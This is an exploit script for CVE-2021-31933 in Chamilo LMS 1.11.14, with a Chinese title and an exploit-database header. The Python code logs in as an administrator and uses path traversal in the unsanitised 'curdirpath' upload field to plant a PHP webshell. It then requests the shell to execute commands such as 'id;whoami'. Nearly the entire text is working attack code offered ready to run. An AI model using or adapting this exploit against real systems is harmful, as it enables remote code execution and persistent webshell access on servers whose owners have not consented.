CVE-2021-31933 Chamilo LMS 1.11.14 远程代码执行漏洞

EXP

# Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated)
# Date: 13/05/2021
# Exploit Author: M. Cory Billington (@_th3y)
# Vendor Homepage: https://chamilo.org
# Software Link: https://github.com/chamilo/chamilo-lms
# Version: 1.11.14
# Tested on: Ubuntu 20.04.2 LTS
# CVE: CVE-2021-31933
# Writeup: https://theyhack.me/CVE-2021-31933-Chamilo-File-Upload-RCE/

from requests import Session
from random import choice
from string import ascii_lowercase

import requests

# This is all configuration stuff, 
url = "http://127.0.0.1/chamilo-lms/"  # URL to remote host web root
user_name = "admin"  # User must be an administrator
password = "admin"
command = "id;whoami"

# Where you want to upload your webshell. Must be writable by web server user.
# This spot isn't protectec by .htaccess
webshell_path = 'web/' 
webshell_name = f"shell-{''.join(choice(ascii_lowercase) for _ in range(6))}.phar" # Just a random name for webshell file
content = f"<?php echo `{command}`; ?>" 

def main():
    # Run a context manager with a session object to hold login session after login
    with Session() as s:
        login_url = f"{url}index.php"
        login_data = {
            "login": user_name,
            "password": password
        }
        r = s.post(login_url, data=login_data) # login request

        # Check to see if login as admin user was successful.
        if "admin" not in r.url:
            print(f"- Login as {user_name} failed. Need to be admin")
            return
        print(f"+ Logged in as {user_name}")
        print(f"+ Cookie: {s.cookies}")
        file_upload_url = f"{url}main/upload/upload.php"
        # The 'curdirpath' is not santitized, so I traverse to  the '/var/www/html/chamilo-lms/web/build' directory. I can upload to /tmp/ as well
        php_webshell_file = {
            "curdirpath": (None, f"/../../../../../../../../../var/www/html/chamilo-lms/{webshell_path}"),
            "user_upload": (webshell_name, content)
            }
        
        ## Good command if you want to see what the request looks like without sending
        # print(requests.Request('POST', file_upload_url, files=php_webshell_file).prepare().body.decode('ascii'))

        # Two requests required to actually upload the file
        for i in range(2):
            s.post(file_upload_url, files=php_webshell_file)

        exploit_request_url = f"{url}{webshell_path}{webshell_name}"
        print("+ Upload complete!")
        print(f"+ Webshell: {exploit_request_url}")

        # This is a GET request to the new webshell to trigger code execution
        command_output = s.get(exploit_request_url)
        print("+ Command output:\n")
        print(command_output.text)



if __name__ == "__main__":
    main()